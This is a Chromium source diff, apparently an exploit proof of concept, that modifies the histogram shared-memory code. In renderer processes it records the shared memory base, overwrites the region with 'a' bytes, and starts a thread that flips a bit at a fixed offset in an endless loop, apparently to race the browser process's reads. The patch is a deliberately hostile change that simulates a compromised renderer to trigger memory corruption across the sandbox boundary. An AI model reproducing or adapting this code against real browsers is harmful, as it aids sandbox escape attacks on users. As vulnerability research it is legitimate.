diff --git a/base/metrics/histogram_shared_memory.cc b/base/metrics/histogram_shared_memory.cc
index 02534f2b7f956..2c081cd517f08 100644
--- a/base/metrics/histogram_shared_memory.cc
+++ b/base/metrics/histogram_shared_memory.cc
@@ -21,6 +21,9 @@
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/string_split.h"
 #include "base/unguessable_token.h"
+#include "base/command_line.h"
+
+#include "base/threading/thread.h"
 
 // On Apple platforms, the shared memory handle is shared using a Mach port
 // rendezvous key.
@@ -169,6 +172,24 @@ void HistogramSharedMemory::AddToLaunchParameters(
                                        command_line, launch_options);
 }
 
+extern unsigned char*  g_shared_memory_base;
+extern size_t g_shared_memory_size;
+static Thread* write_thread = nullptr;
+bool InrenderProcess() {
+  std::string type = base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII("type");
+  //LOG(ERROR) << "In process: " << type;
+  return type == "renderer";
+}
+
+void WriteToSharedMemory() {
+  volatile unsigned int* start = (unsigned int *)(std::next(g_shared_memory_base, 0x60));
+
+  while(true)
+  {
+    *start^=128;
+  }
+}
+
 // static
 void HistogramSharedMemory::InitFromLaunchParameters(
     const CommandLine& command_line) {
@@ -197,6 +218,13 @@ void HistogramSharedMemory::InitFromLaunchParameters(
   auto* global_allocator = GlobalHistogramAllocator::Get();
   CHECK(global_allocator);
   global_allocator->CreateTrackingHistograms(global_allocator->Name());
+  if(InrenderProcess() && g_shared_memory_size==0x200000 && g_shared_memory_base != nullptr)
+  {
+    memset((unsigned char *)(std::next(g_shared_memory_base, 0xc0)), 'a', 0x200000-0xc0);
+    write_thread = new Thread("WriteThread");
+    write_thread->Start();
+    write_thread->task_runner()->PostTask(FROM_HERE, BindOnce(&WriteToSharedMemory));
+  }
 }
 
 }  // namespace base
diff --git a/base/metrics/persistent_histogram_allocator.cc b/base/metrics/persistent_histogram_allocator.cc
index d6cf8c6e1a29c..e1b885bfd1b25 100644
--- a/base/metrics/persistent_histogram_allocator.cc
+++ b/base/metrics/persistent_histogram_allocator.cc
@@ -41,6 +41,15 @@
 #include "base/synchronization/lock.h"
 #include "build/build_config.h"
 
+#include "base/command_line.h"
+#include "base/threading/thread.h"
+
+bool InrenderProcess() {
+  std::string type = base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII("type");
+  //LOG(ERROR) << "In process: " << type;
+  return type == "renderer";
+}
+
 namespace base {
 
 namespace {
@@ -344,6 +353,10 @@ std::unique_ptr<HistogramBase> PersistentHistogramAllocator::GetHistogram(
   return CreateHistogram(data);
 }
 
+int mycount=1;
+unsigned char*  g_shared_memory_base = nullptr;
+size_t g_shared_memory_size = 0;
+
 std::unique_ptr<HistogramBase> PersistentHistogramAllocator::AllocateHistogram(
     HistogramType histogram_type,
     std::string_view name,
@@ -369,6 +382,13 @@ std::unique_ptr<HistogramBase> PersistentHistogramAllocator::AllocateHistogram(
       memory_allocator_->New<PersistentHistogramData>(
           offsetof(PersistentHistogramData, name) + name.size() + 1);
   if (histogram_data) {
+
+    if(InrenderProcess()&&mycount)
+    {
+        mycount=0;
+        g_shared_memory_base = const_cast<unsigned char*>(reinterpret_cast<const unsigned char*>(memory_allocator_->data()));
+        g_shared_memory_size = memory_allocator_->size();
+    }
     memcpy(histogram_data->name, name.data(), name.size());
     histogram_data->name[name.size()] = '\0';
     histogram_data->histogram_type = histogram_type;